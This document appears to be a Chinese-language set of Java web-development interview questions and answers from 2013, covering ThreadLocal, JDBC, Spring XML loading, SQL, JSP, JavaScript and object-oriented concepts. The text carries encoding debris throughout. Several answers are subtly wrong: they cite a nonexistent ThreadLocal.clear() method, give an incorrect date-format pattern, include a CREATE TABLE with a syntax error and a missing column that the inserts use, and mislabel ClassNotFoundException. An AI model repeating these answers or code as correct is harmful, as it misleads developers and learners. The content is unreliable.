StringBuffer速度慢,但(線程)安全性高 ?
StringBuilder速度快,但(線程)安全性差 ?
??
問題4、Threadlocal類的作用? ?
?
ThreadLocal的作用和目的:用于實(shí)現(xiàn)線程內(nèi)的數(shù)據(jù)共享,即對于相同的程序代碼,多個(gè)模塊在同一個(gè)線程中運(yùn)行時(shí)要共享一份數(shù)據(jù),而在另一個(gè)線程中則共享另一份數(shù)據(jù),線程的數(shù)據(jù)是獨(dú)享的。 ?
?
ThreadLocal的實(shí)現(xiàn)原理:每個(gè)線程調(diào)用全局ThreadLocal的set方法,就相當(dāng)于往其內(nèi)部的Map中增加一條記錄,key是各自的線程,value是各自的線程調(diào)用set放進(jìn)的值。在線程結(jié)束時(shí)可以調(diào)用ThreadLocal.clear()方法,可以立即釋放內(nèi)存。也可以不調(diào)用,線程運(yùn)行完成之后內(nèi)存也會被回收。 ?
?
顧名思義它是local variable(線程局部變量)。它的功用非常簡單,就是為每一個(gè)使用該變量的線程都提供一個(gè)變量值的副本,是每一個(gè)線程都可以獨(dú)立地改變自己的副本,而不會和其它線程的副本沖突。從線程的角度看,就好像每一個(gè)線程都完全擁有該變量。 ?
?
它主要由四個(gè)方法組成initialValue(),get(),set(T),remove(),其中值得注意的是initialValue(),該方法是一個(gè)protected的方法,顯然是為了子類重寫而特意實(shí)現(xiàn)的。該方法返回當(dāng)前線程在該線程局部變量的初始值,這個(gè)方法是一個(gè)延遲調(diào)用方法,在一個(gè)線程第1次調(diào)用get()或者set(Object)時(shí)才執(zhí)行,并且僅執(zhí)行1次。ThreadLocal中的確實(shí)實(shí)現(xiàn)直接返回一個(gè)null。也是解決線程安全的問題的一種方法。 ?
??
問題5、Statement、Preparedstatement、Callablestatement的區(qū)別? ?
??
Statement ?
? ? ? | ?
PreparedStatement ?
? ? ? | ?
CallableStatement ?
??
? ? Statement用于執(zhí)行一條普通的動態(tài)SQL語句,PreparedStatement用于執(zhí)行預(yù)編譯好的SQL語句,CallableStatement用于調(diào)用數(shù)據(jù)庫的存儲過程。他們的繼承關(guān)系如上。 ?
??
Statement 每次執(zhí)行sql語句,數(shù)據(jù)庫都要執(zhí)行sql語句的編譯 ,最好用于僅執(zhí)行一次查詢并返回結(jié)果的情形,效率高于PreparedStatement. ?
? ?
PreparedStatement是預(yù)編譯的,使用PreparedStatement有幾個(gè)好處 ?
在執(zhí)行可變參數(shù)的一條SQL時(shí),PreparedStatement比Statement的效率高,因?yàn)镈BMS預(yù)編譯一條SQL當(dāng)然會比多次編譯一條SQL的效率要高。 ?
安全性好,有效防止Sql注入等問題。 ?
對于多次重復(fù)執(zhí)行的語句,使用PreparedStament效率會更高一點(diǎn),并且在這種情況下也比較適合使用batch; ?
代碼的可讀性和可維護(hù)性。 ?
? ?
CallableStatement接口擴(kuò)展 PreparedStatement,用來調(diào)用存儲過程,它提供了對輸出和輸入/輸出參數(shù)的支持。CallableStatement 接口還具有對 PreparedStatement 接口提供的輸入?yún)?shù)的支持。 ?
??
問題6、把一個(gè)字符串類型的日期 轉(zhuǎn)換成Date類型? ?
??
字符串轉(zhuǎn)換為日期: ?
String brithday = new String("1991-02-02"); ?
? ? ? ? SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); ?
? ? ? ? Date date = sdf1.parse(brithday); ?
? ? ? ? System.out.println("將字符串轉(zhuǎn)化為時(shí)間是" + date); ?
日期轉(zhuǎn)換為字符串: ?
? ? ? ? SimpleDateFormat sdf2 = new SimpleDateFormat("yyyyMMDDHHMMSSmmm "); ?
? ? ? ? System.out.println(sdf2.format(new Date())); ?
??
將輸入的字符串轉(zhuǎn)換為需要的日期格式: ?
? ? ? ? String myBirthday = new String("19881113"); ?
? ? ? ? SimpleDateFormat sdf3 = new SimpleDateFormat("yyyyMMdd"); ?
? ? ? ? Date date = sdf3.parse(myBirthday); ?
? ? ? ? String newBirthday = sdf2.format(date); ?
? ? ? ? System.out.println("將輸入的字符串轉(zhuǎn)換為需要的日期格式" + newBirthday); ?
??
問題7、Spring中加載XML配置文件的方法? ?
??
Spring中的幾種容器都支持使用xml裝配bean,包括: ?
XmlBeanFactory引用資源、ClassPathXmlApplicationContext編譯路徑 ?
FileSystemXmlApplicationContext用文件系統(tǒng)的路徑、XmlWebApplicationContext專為Web工程定制 ?
??
加載這些容器的配置文件的XML有以下幾種常見的方法: ?
1、引用資源用XmlBeanFactory(不能實(shí)現(xiàn)多個(gè)文件相互引用) ?
? ? ?Resource resource = new ClassPathResource("appcontext.xml"); ?
? ? ?BeanFactory factory = new XmlBeanFactory(resource); ?
? ? ?從factory中獲取相應(yīng)資源文件中的bean,但是這種bean讀不到引用了其他文件中的bean! ?
2、引用應(yīng)用上下文用ClassPathXmlApplicationContext ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:applicationContext.xml"); ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "conf/userConfig.xml"); // src/conf 目錄下的 ?
? ? ApplicationContext factory = new ClassPathXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
3、用文件系統(tǒng)的路徑引用應(yīng)用上下文用FileSystemXmlApplicationContext ??
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "src/applicationContext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "classpath:appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "file:G:/Test/src/appcontext.xml"); ?
? ? ApplicationContext factory = new FileSystemXmlApplicationContext( ?
? ? ? ? ? ? ? ? "G:/Test/src/appcontext.xml"); ?
注意:在2、3的加載方式中可以加載多個(gè)配置文件,獲取到ApplicationContext 對象中 ?
? ? String[] configs = { "applicationContext.xml", "user_spring.xml" }; ?
? ? ApplicationContext ctx = new ClassPathXmlApplicationContext(configs); ?
? ? // ApplicationContext ctx=new FileSystemXmlApplicationContext(configs); ?
? ? AbstractDao myUserDAO = (AbstractDao) ctx.getBean("userDao"); ?
4、Web工程定制的加載方法 XmlWebApplicationContext ? ?
?ServletContext servletContext = request.getSession() ?
? ? ? ? ? ? ? ? .getServletContext(); ?
ApplicationContext ctx = WebApplicationContextUtils ?
? ? ? ? ? ? ? ? .getWebApplicationContext(servletContext); ?
注:web.xml里面可以定義兩種參數(shù): ?
application范圍內(nèi)的參數(shù),存放在servletcontext中。<context-param>中的參數(shù)(可以指定多個(gè)文件) ?
servlet范圍內(nèi)的參數(shù),只能在servlet的init()方法中取得, <init-param>中的參數(shù),在init方法中用this.getInitParameter("param1")獲取 ?
??
要在spring配置多個(gè)xml,并且這些文件相互應(yīng)用的加載方式: ?
1、在web.xml配置,應(yīng)用服務(wù)去加載 ?
? ?<servlet> ?
? ? ?<servlet-name>app</servlet-name> ?
? ? ?<servlet-class> ?
? ? ? ? ? ? ? ?org.springframework.web.servlet.DispatcherServlet ?
? ? ?</servlet-class> ?
? ? ?<context-param> ?
? ? ? ? ? ?<param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/applicationContext*.xml,/WEB-INF/user_spring*.xml</param-value> ?
? ? ?</context-param> ?
? ? ?<load-on-startup>1</load-on-startup> ? ?
? </servlet> ?
2、在/WEB-INF/applicationContext.xml配置應(yīng)用服務(wù)去加載 ?
? 可以在applicationContext.xml中用import引入其他的配置文件 ?
? ?<import resource="user_spring.xml" /> ?
??
問題8、查詢分組后,每個(gè)分組前幾條記錄? ?
??
建表語句: ?
/* ?創(chuàng)建表并初始化數(shù)據(jù) ? */ ?
drop table if exists Orders; ?
create table Orders( ?
? ? id int primary key auto_increment, ?
? ? Company varchar(255), ?
? ? OrderNumber varchar(255), ?
); ?
插入數(shù)據(jù): ?
insert into Orders(Company,OrderNumber, pid) values('IBM','3532',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','4211',1); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','2342',2); ?
insert into Orders(Company,OrderNumber, pid) values('IBM','12345',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','45323',1); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','2356',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4538',1); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','4698',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3234',2); ?
insert into Orders(Company,OrderNumber, pid) values('Apple','3232',3); ?
insert into Orders(Company,OrderNumber, pid) values('W3School','6953',3); ?
insert into Orders(Company,OrderNumber) values('W3School','6953'); ?
??
查詢語句:/* 查詢Orders表,以Company分組,查出每組中的前兩個(gè)記錄 ? ?*/ ?
SELECT * FROM Orders o WHERE 2 >(SELECT count(*) FROM Orders WHERE Company = o.Company and OrderNumber > o.OrderNumber); ?
??
問題9、外部js中如何使用EL表達(dá)式? ?
??
外部js中的el表達(dá)式默認(rèn)無效,有以下解決方案: ?
1、把數(shù)據(jù)保存在隱藏域中,然后由js去調(diào) ?
例如jsp中<input type="hidden" id="data" name="data" value="${xxx.data}"> ?
js中,用getElementById方法 ?
2、如果js非要放入單獨(dú)文件中,可以把js文件命名為.jsp文件就可以了,這樣里面el就能運(yùn)行,也就是服務(wù)器可以執(zhí)行這個(gè)文件了。無非頁面引用的時(shí)候引用jsp就可以了。 ?
< script src="myjs.jsp" type="text/javascript></script> ?
??
EL表達(dá)式是在服務(wù)端執(zhí)行的,服務(wù)端執(zhí)行完成后再傳給客戶端的,js是在客戶端執(zhí)行的,el在js前就被執(zhí)行了。 ?
??
把引入的外部js改為jsp文件,然后在jsp頁面中引入<script src="myjs.jsp"></script> ?
??
在完全是js的jsp文件中,在執(zhí)行的時(shí)候會出現(xiàn)亂碼 ?
在頂部加入 ?
< %@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>可解決亂碼 ?
??
然后在jsp頁面中引入myjs.jsp, ?
< script src="myjs.jsp" type="text/javascript"></script> ?
??
但是如果js文件有創(chuàng)建html,就會出現(xiàn)錯誤,比如document.createElement('<option>' );即使轉(zhuǎn)義后 ?
document.createElement('<option>' ); 也沒有效果 ,在解析的時(shí)候,會創(chuàng)建 ?
document.createElement('<html><option>' );使用時(shí)候不識別的標(biāo)識符 ?
可以直接使用document.createElement('option') ?
??
火狐不支持select.options.appendChild(option),IE支持 ?
select.appendChild(option) IE和Firefox都支持 ?
??
火狐不支持option.innerText="test", ?
為兼容 改寫為option.innerHTML="test" ?
??
問題10、給你一張表查詢同一IP的登錄次數(shù),以及登錄次數(shù)大于10次的IP? ?
給的參數(shù)是 id datetime url ?session_id ip ?
??
select 記錄, count(記錄) ?from 表 where 記錄=表.記錄 group by 記錄 having count(記錄)>10 ?
??
select count(ip),ip from table group by ip having count(ip)>10; ?
??
問題11、<jsp:include>和<%@include file=""%>有什么區(qū)別? ?
??
動態(tài):<jsp:include page="">--動作,運(yùn)行時(shí)包含,先處理后包含 ?
父頁面和包含進(jìn)來的頁面單獨(dú)編譯,單獨(dú)翻譯成servlet后,在前臺拼成一個(gè)HTML頁面。 ?
a.能自動區(qū)分被包含文件是靜態(tài)還是動態(tài); ?
b.如果被包含文件是靜態(tài)文件,處理方式跟第1種方式一樣, ?
? 如果是動態(tài)文件,則各自處理完之后把結(jié)果包含進(jìn)來發(fā)給客戶端。 ?
??
靜態(tài):<%@include file=""%>--指令,編譯時(shí)包含,先包含后處理 ?
父頁面和包含進(jìn)來的頁面,代碼合并后,才一起翻譯成servlet,反饋到前臺,形成一個(gè)HTML頁面。 ?
a.不管被包含文件是靜態(tài)還是動態(tài),直接將頁面中的全部內(nèi)容包含進(jìn)來; ?
b.執(zhí)行時(shí)先將包含進(jìn)來的內(nèi)容一起處理完之后再將所有的內(nèi)容發(fā)給客戶端。 ?
??
2013年8月22日:嘉瑤軟件 ?
??
問題1、使用JavaScript動態(tài)添加刪除表格行? ?
??
< script type="text/javascript"> ?
? ? //動態(tài)增加和刪除表格行的內(nèi)容 ?
? ? document.getElementById("addID").onclick = function(){ ?
? ? ? ? ? ? var tbodyElement = document.getElementById("tbodyID"); ?
? ? ? ? ? ? //創(chuàng)建tr元素 ?
? ? ? ? ? ? var trElement = document.createElement("tr"); ?
? ? ? ? ? ? //創(chuàng)建td元素 ?
? ? ? ? ? ? var td1Element = document.createElement("td"); ?
? ? ? ? ? ? var td2Element = document.createElement("td"); ?
? ? ? ? ? ? var td3Element = document.createElement("td"); ?
//創(chuàng)建刪除按鈕 ?
? ? ? ? ? ? var delInputElement = document.createElement("input"); ?
? ? ? ? ? ? delInputElement.type = "button"; ?
? ? ? ? ? ? delInputElement.value = "刪除"; ?
??
? ? ? ? ? ? td3Element.appendChild(delInputElement); ?
? ? ? ? ? ? //為刪除按鈕添加單擊事件 ?
? ? ? ? ? ? delInputElement.onclick = function(){ ?
? ? ? ? ? ? ? ? //this表示刪除按鈕 ?
? ? ? ? ? ? ? ? //父.removeChild(子); ? ? ??
? ? //this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); ?
? ? ? ? ? ? ? ? tbodyElement.removeChild(trElement); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? //將td元素添加到tr元素中 ?
? ? ? ? ? ? trElement.appendChild(td1Element); ?
? ? ? ? ? ? trElement.appendChild(td2Element); ?
? ? ? ? ? ? trElement.appendChild(td3Element); ?
? ? ? ? ? ? //將tr元素添加到tbody元素中 ?
? ? ? ? ? ? tbodyElement.appendChild(trElement); ?
? ? ? ? } ?
? ? function trim(message){ //去空格,正則表達(dá)式 ?
? ? ? ? return message.replace(/^\s*$/,""); ?
? ? } ?
?</script> ?
??
問題2、什么叫面向接口編程?有什么好處? ?
??
在系統(tǒng)分析和架構(gòu)中,分清層次和依賴關(guān)系,每個(gè)層次不是直接向其上層提供服務(wù)(即不是直接實(shí)例化在上層中),而是通過定義一組接口,僅向上層暴露其接口功能,上層對于下層僅僅是接口依賴,而不依賴具體類。 ?
??
這樣做的好處是顯而易見的,首先對系統(tǒng)靈活性大有好處。當(dāng)下層需要改變時(shí),只要接口及接口功能不變,則上層不用做任何修改。甚至可以在不改動上層代碼時(shí)將下層整個(gè)替換掉,就像我們將一個(gè)WD的60G硬盤換成一個(gè)希捷的160G的硬盤,計(jì)算機(jī)其他地方不用做任何改動,而是把原硬盤拔下來、新硬盤插上就行了,因?yàn)橛?jì)算機(jī)其他部分不依賴具體硬盤,而只依賴一個(gè)IDE接口,只要硬盤實(shí)現(xiàn)了這個(gè)接口,就可以替換上去。從這里看,程序中的接口和現(xiàn)實(shí)中的接口極為相似,所以我一直認(rèn)為,接口(interface)這個(gè)詞用的真是神似! ?
?
? ? 使用接口的另一個(gè)好處就是不同部件或?qū)哟蔚拈_發(fā)人員可以并行開工,就像造硬盤的不用等造CPU的,也不用等造顯示器的,只要接口一致,設(shè)計(jì)合理,完全可以并行進(jìn)行開發(fā),從而提高效率。 ?
??
問題3、事務(wù)的概念?開發(fā)中如何使用事務(wù)? ?
??
事務(wù)指邏輯上的一組操作,組成這組操作的各個(gè)單元,要么全部成功,要么全部失敗。 ?
??
MySQL數(shù)據(jù)庫開啟事務(wù)命令: ?
start transaction ?開啟事務(wù) ?
rollback ?回滾事務(wù) ?
commit ? 提交事務(wù) ?
savepoint 設(shè)置回滾點(diǎn) ?
rollback to savepoint 回滾到指定的回滾點(diǎn) ?
??
問題4、遞歸算法題:一個(gè)整數(shù),大于0,不用循環(huán)和本地變量,按照n,2n,4n,8n的順序遞增,當(dāng)值大于10000時(shí),把值按照指定順序輸出來。先順序后逆序 ?
??
public static void main(String[] args) throws Exception { ?
? ? ? ? doubleNum(512); ?
? ? } ?
??
public static void doubleNum(int n) { ?
? ? ? ? System.out.println(n); ?
? ? ? ? if (n <= 10000) ?
? ? ? ? ? ? doubleNum(n * 2); ?
? ? ? ? System.out.println(n); ?
} ?
??
問題5、兩個(gè)div 并排放到同一個(gè)div上面? ?
??
第一步: ?
中間兩個(gè)div 設(shè)置的寬度 加起來等于1000px, ?
第二步: ?
中間兩個(gè)div ?分別加樣式 ? style="float:left;" ?
??
例如: ?
< div style="width:1000px;height:500px;background: black;"> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
< div style="background: blue;width: 500px;height:500px;float:left;"></div> ?
??
問題6、一個(gè)表有birthday字段類型為date,讓你查出年齡? ?
??
SELECT name,(year(now())-year(birthday)) AS age FROM Student; ?
??
問題7、智力題:一個(gè)房間有三個(gè)燈泡,開關(guān)在房間外面,你只能進(jìn)房間一次,找出燈泡和開關(guān)的對應(yīng)關(guān)系 ?
??
先開第1個(gè)開關(guān),開較長時(shí)間再關(guān)掉,然后開第2個(gè)開關(guān),馬上進(jìn)有燈泡的房間。 ?
如果是亮的,是第2個(gè)開關(guān)。 ?
如果是暗的,就摸一摸,熱的就是第1個(gè)開關(guān),冷的就是第3個(gè)開關(guān)。 ?
??
2013年8月23日: ?
??
問題1、操作表格的奇數(shù)行、偶數(shù)行變色的函數(shù)? ?
??
? ? <script type="text/javascript" src="WEB-INF/jquery-1.7.min.js"> ?
? ? </script> ?
? ? ??
? ? <script type="text/javascript" language="javascript"> ? ?
? ? ? ? $(document).ready(function(){ ? ?
? ? ? ? ? ? $("table tr:eq(0)").attr("style","background: #C00;"); ?//首行 ?
? ? ? ? ? ? $("table tr:odd").attr("style","background:#09F;"); ? ? //奇數(shù)行 ??
? ? ? ? ? ? $("table tr:even").attr("style","background: #C00;"); ? //偶數(shù)行 ? ?
? ? ? ? ? ? //或者通過添加css,如下 ?
? ? ? ? ? ? $("table tr:eq(0)").css("background-color","pink"); ? ? //首行 ?
? ? ? ? ? ? $("table tr:odd").css("background-color","blue"); ? ? ? //索引號為奇數(shù)的 ?
? ? ? ? ? ? $("table tr:even").css("background-color","yellow"); ? ? ? ?//索引號為偶數(shù)的 ?
? ? ? ? ? ? }); ? ?
</script> ? ?
??
問題2、JSON與XML的區(qū)別? ?
??
相同之處兩個(gè)都是存放數(shù)據(jù)的。要說不同,那就是存數(shù)據(jù)的方式不一樣,xml數(shù)據(jù)寫在xml文件中,而json需要程序添加數(shù)據(jù),xml是一個(gè)特殊的數(shù)據(jù)文件必須符合一定的規(guī)則 ?
??
格式不同,XML是標(biāo)簽式的:aaa bbb,JSON是鍵值對形式的:book:{ name:aaa, writter:bbb },JSON更加輕量級,XML開始使用比較早,而且很嚴(yán)謹(jǐn),兩者都有廣泛應(yīng)用,不過現(xiàn)在比較推薦JSON。 ?
??
問題3、JDBC的使用過程? ?
??
簡易流程: ?
1、加載驅(qū)動 ?2、獲取連接 ?3、SQL語句 ?4、執(zhí)行SQL ?5、釋放資源 ?
??
創(chuàng)建一個(gè)以JDBC連接數(shù)據(jù)庫的程序,包含7個(gè)步驟: ??
1、加載JDBC驅(qū)動程序: ??
在連接數(shù)據(jù)庫之前,首先要加載想要連接的數(shù)據(jù)庫的驅(qū)動到JVM(Java虛擬機(jī)),這通過java.lang.Class類的靜態(tài)方法forName(String ?className)實(shí)現(xiàn)。 ?
//加載MySql的驅(qū)動類 ? ? ?
Class.forName("com.mysql.jdbc.Driver"); ?
成功加載后,會將Driver類的實(shí)例注冊到DriverManager類中。 ? ?
2、提供JDBC連接的URL ??
例如:(MySql的連接URL) ? ? ?
jdbc:mysql://localhost:3306/test ?
3、創(chuàng)建數(shù)據(jù)庫的連接 ?
要連接數(shù)據(jù)庫,需要向java.sql.DriverManager請求并獲得Connection對象,該對象就代表一個(gè)數(shù)據(jù)庫的連接。 ?
使用DriverManager的getConnectin(String url, String username,String password )方法傳入指定的欲連接的數(shù)據(jù)庫的路徑、數(shù)據(jù)庫的用戶名和密碼來獲得。 ? ??
例如:// 連接MySql數(shù)據(jù)庫,用戶名和密碼都是root ?
? ? ? ? String url = "jdbc:mysql://localhost:3306/test"; ?
? ? ? ? String username = "root"; ?
? ? ? ? String password = "root"; ?
? ? ? ? Connection con = DriverManager.getConnection(url, username, password); ?
4、創(chuàng)建一個(gè)Statement ?
要執(zhí)行SQL語句,必須獲得java.sql.Statement實(shí)例,Statement實(shí)例分為以下3種類型: ??
1、執(zhí)行靜態(tài)SQL語句。通常通過Statement實(shí)例實(shí)現(xiàn)。 ??
2、執(zhí)行動態(tài)SQL語句。通常通過PreparedStatement實(shí)例實(shí)現(xiàn)。 ??
3、執(zhí)行數(shù)據(jù)庫存儲過程。通常通過CallableStatement實(shí)例實(shí)現(xiàn)。 ??
具體的實(shí)現(xiàn)方式: ??
Statement stmt = con.createStatement(); ?
? ? ? ? PreparedStatement pstmt = con.prepareStatement(sql); ?
? ? ? ? CallableStatement cstmt = con.prepareCall("{CALL demoSp(? , ?)}"); ?
5、執(zhí)行SQL語句 ?
Statement接口提供了三種執(zhí)行SQL語句的方法:executeQuery 、executeUpdate和execute ?
1、executeQuery(String sqlString):執(zhí)行查詢數(shù)據(jù)庫的SQL語句,返回一個(gè)結(jié)果集(ResultSet)對象。 ? ??
2、executeUpdate(String sqlString):用于執(zhí)行INSERT、UPDATE或DELETE語句以及SQL DDL語句,如:CREATE TABLE和DROP TABLE等,返回影響行數(shù)int。 ?
3、execute(sqlString):用于執(zhí)行返回多個(gè)結(jié)果集、多個(gè)更新計(jì)數(shù)或二者組合的語句。 ?
具體實(shí)現(xiàn)的代碼: ?
? ? ? ? ?ResultSet rs = stmt.executeQuery("SELECT * FROM ...") ; ? ? ? ??
? ? ? ? ?int rows = stmt.executeUpdate("INSERT INTO ...") ; ? ? ? ??
? ? ? ? ?boolean flag = stmt.execute(String sql) ; ? ??
6、處理結(jié)果,兩種情況: ?
? ? 1、執(zhí)行更新返回的是本次操作影響到的記錄數(shù)。 ?
? ? 2、執(zhí)行查詢返回的結(jié)果是一個(gè)ResultSet對象。 ?
ResultSet包含符合SQL語句中條件的所有行,并且它通過一套get方法提供了對這些行中數(shù)據(jù)的訪問。 ? ?
使用結(jié)果集(ResultSet)對象的訪問方法獲取數(shù)據(jù): ? ??
? ? while (rs.next()) { ?
? ? ? ? ? ? String name = rs.getString("name"); ?
? ? ? ? ? ? String pass = rs.getString(1); // 此方法比較高效 ?
? ? } ?
(列是從左到右編號的,并且從列1開始) ? ?
7、關(guān)閉JDBC對象 ?
操作完成以后要把所有使用的JDBC對象全都關(guān)閉,以釋放JDBC資源,關(guān)閉順序和聲明順序相反: ?
1、關(guān)閉記錄集 ? ? ?
2、關(guān)閉聲明 ? ? ?
3、關(guān)閉連接對象 ?
rs.close(); ?
? ? stmt.close(); ?
? ? conn.close(); ?
??
問題4、Tomcat的默認(rèn)端口號是多少,如何更改端口號? ?
??
8080是Tomcat服務(wù)器的默認(rèn)的端口號。 ?
我們可以通過修改Tomcat服務(wù)器的conf目錄下的主配置文件server.xml來更改。 ?
用記事本打開server.xml文件,找到如下部分:修改port的值即可 ?
< Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> ?
??
問題5、List與Set有什么區(qū)別? ?
??
Set List都繼承 Colltction。 ?
??
List接口與其實(shí)現(xiàn)類是容量可變的列表,可按索引訪問集合中的元素,是有序的集合。 ?
Set是一種不包含重復(fù)元素的Collection,也就是說 Set中只能有一個(gè)null元素。 ?
??
List和Set是兩個(gè)接口,其定義的數(shù)據(jù)類型都有自己的特點(diǎn) ?
List是順序結(jié)構(gòu),可以是數(shù)組也可以是鏈表,Set就是集合,跟數(shù)學(xué)里的集合定義樣,無重復(fù)(沒有任何兩個(gè)對象的equals方法是true)。 ?
??
問題6、說出JAVA中一些常用的類,包,接口,請各舉5個(gè)? ?
??
類:Object、String、Integer、System、file、FileInputStream、FileOutputStream ?
包:lang包、io包、util包、sql包、date包、swt包 ?
接口: List、Map、Iterator、Connection、Writer、Reader、InputStream、OutPutStream ?
v ?
問題7、常見的異常有哪些,舉幾個(gè),并說出它們是如何出現(xiàn)的呢? ?
??
NullPointException空指針異常 ?
IOException輸入輸出流異常 ?
ClassNotFoundException類型轉(zhuǎn)換異常 ?
ArrayIndexOutOfBoundsException下標(biāo)越界異常 ?
NumberFormatException數(shù)字格式化異常 ?
FileNotFoundException文件未找到異常 ?
SQLException操作數(shù)據(jù)庫異常 ?
NoSuchMethodException方法未找到異常 ?
??
問題9、int和Integer有什么區(qū)別,Integer下有哪些常用方法? ?
??
int是Java提供的8種基礎(chǔ)數(shù)據(jù)類型之一。Java為每個(gè)原始類型提供了包裝類,Integer是java為int提供的包裝類。 ?
int的默認(rèn)值為0,而Integer的默認(rèn)值為null,即Integer可以區(qū)分出未賦值和值為0的區(qū)別,int則無法表達(dá)出未賦值的情況。 ?
例如,要想表達(dá)出沒有參加考試和考試成績?yōu)?的區(qū)別,則只能使用Integer。 ?
在JSP開發(fā)中,Integer的默認(rèn)為null,所以用EL表達(dá)式在文本框中顯示時(shí),值為空白字符串,而int默認(rèn)的默認(rèn)值為0,所以用EL表達(dá)式在文本框中顯示時(shí),結(jié)果為0,所以,int不適合作為web層的表單數(shù)據(jù)的類型。 ?
在Hibernate中,如果將OID定義為Integer類型,那么Hibernate就可以根據(jù)其值是否為null而判斷一個(gè)對象是否是臨時(shí)的,如果將OID定義為了int類型,還需要在hbm映射文件中設(shè)置其unsaved-value屬性為0。 ?
另外,Integer提供了多個(gè)與整數(shù)相關(guān)的操作方法,例如,將一個(gè)字符串轉(zhuǎn)換成整數(shù),Integer中還定義了表示整數(shù)的最大值和最小值的常量。 ?
??
問題10、Nutch與Lucene區(qū)別? ?
??
Nutch 是基于 Lucene的。Lucene為 Nutch 提供了文本索引和搜索的API。 ?
??
一個(gè)常見的問題是;我應(yīng)該使用Lucene還是Nutch? ?
??
最簡單的回答是:如果你不需要抓取數(shù)據(jù)的話,應(yīng)該使用Lucene。如果你有數(shù)據(jù)源,需要為這些數(shù)據(jù)提供一個(gè)搜索頁面。在這種情況下,最好的方式是直接從數(shù)據(jù)庫中取出數(shù)據(jù)并用Lucene API建立索引。 ?
Nutch 適用于你無法直接獲取數(shù)據(jù)庫中的網(wǎng)站,或者比較分散的數(shù)據(jù)源的情況下使用。 ?
??
Lucene其實(shí)是一個(gè)提供全文文本搜索的函數(shù)庫,它不是一個(gè)應(yīng)用軟件。它提供很多API函數(shù)讓你可以運(yùn)用到各種實(shí)際應(yīng)用程序中。現(xiàn)在,它已經(jīng)成為Apache的一個(gè)項(xiàng)目并被廣泛應(yīng)用。 ?
??
Nutch是一個(gè)建立在Lucene核心之上的Web搜索的實(shí)現(xiàn),它是一個(gè)真正的應(yīng)用程序。也就是說,你可以直接下載下來拿過來用。它在Lucene的基礎(chǔ)上加了網(wǎng)絡(luò)爬蟲和一些和Web相關(guān)的東東。其目的就是想從一個(gè)簡單的站內(nèi)索引和搜索推廣到全球網(wǎng)絡(luò)的搜索上。 ?
??
總的來說,我認(rèn)為Lucene會應(yīng)用在本地服務(wù)器的網(wǎng)站內(nèi)部搜索,而Nutch則擴(kuò)展到整個(gè)網(wǎng)絡(luò)、Internet的檢索。當(dāng)然Lucene加上爬蟲程序等就會成為Nutch。 ?
??
問題11、面向?qū)ο蟮奶卣饔心男?#xff1f;解釋一下每一個(gè)? ?
??
封裝指的是將對象的狀態(tài)信息隱藏在對象內(nèi)部,不允許外部程序直接訪問對象內(nèi)部信息,而是通過該類所提供的方法來實(shí)現(xiàn)對內(nèi)部信息的操作和訪問。 ?
封裝實(shí)際上有兩個(gè)方面的含義:把該隱藏的(對象的屬性和實(shí)現(xiàn)細(xì)節(jié))隱藏起來,把該暴露的(方法)暴露出來。這兩個(gè)方面都需要通過使用Java提供的訪問控制符來實(shí)現(xiàn)。 ?
?
繼承是面向?qū)ο髮?shí)現(xiàn)軟件復(fù)用的重要手段,當(dāng)子類繼承父類后,子類作為一種特殊的父類,將直接獲得父類的屬性和方法。Java的繼承具有單繼承的特點(diǎn),每個(gè)子類只有一個(gè)直接父類。 ?
?
多態(tài)指的是子類對象可以直接賦給父類變量,但運(yùn)行時(shí)依然表現(xiàn)子類的行為特征,這意味著同一個(gè)類別的對象在運(yùn)行時(shí)可能表現(xiàn)出不同的行為特征。 ?
只有子類重寫了父類的方法。使用父類類型創(chuàng)建的引用變量,所賦的值為子類類型創(chuàng)建的實(shí)例(對象)時(shí),用這個(gè)新建的對象調(diào)用子類重寫父類的方法才會出現(xiàn)多態(tài)。 ?
也就是說多態(tài)有3個(gè)條件:1、繼承 2、重寫(子類重寫父類繼承的方法) 3、父類引用指向子類對象 ?
??
好處: ?
封裝:安全 ?
繼承:重用 ?
多態(tài):靈活 ?
??
問題12、方法的重寫和重載? ?
??
重寫父類的方法 ?
方法的重寫要遵循“兩同兩小一大”規(guī)則: ?
??
“兩同”即方法名相同、形參列表相同,“兩小”指子類方法返回值類型應(yīng)比父類方法返回值類型更小或相等,子類方法聲明拋出的異常應(yīng)比父類方法聲明拋出的異常類更小或相等。 ?
“一大”指的是子類方法的訪問權(quán)限應(yīng)比父類方法更大或相等,尤其需要指出的是,覆蓋方法和被覆蓋方法要么都是類方法,要么都是實(shí)例方法,不能一個(gè)是類方法,一個(gè)是實(shí)例方法。 ?
??
當(dāng)子類覆蓋了父類的方法后,子類的對象將無法訪問父類中被覆蓋的方法,但可以在子類方法中調(diào)用父類中被覆蓋的方法。 ?
如果要在子類中調(diào)用父類中被覆蓋的實(shí)例方法,可以使用super。 ?
如果要在子類中調(diào)用父類中被覆蓋的類方法,使用父類類名來調(diào)用。 ?
如果父類方法具有private訪問權(quán)限,則該方法對其子類是隱藏的,因此其子類無法訪問該方法,也就無法重寫該方法。 ?
??
2、方法的重寫與方法的重載不同,方法的重載要遵循“兩同,一個(gè)不同”規(guī)則: ?
??
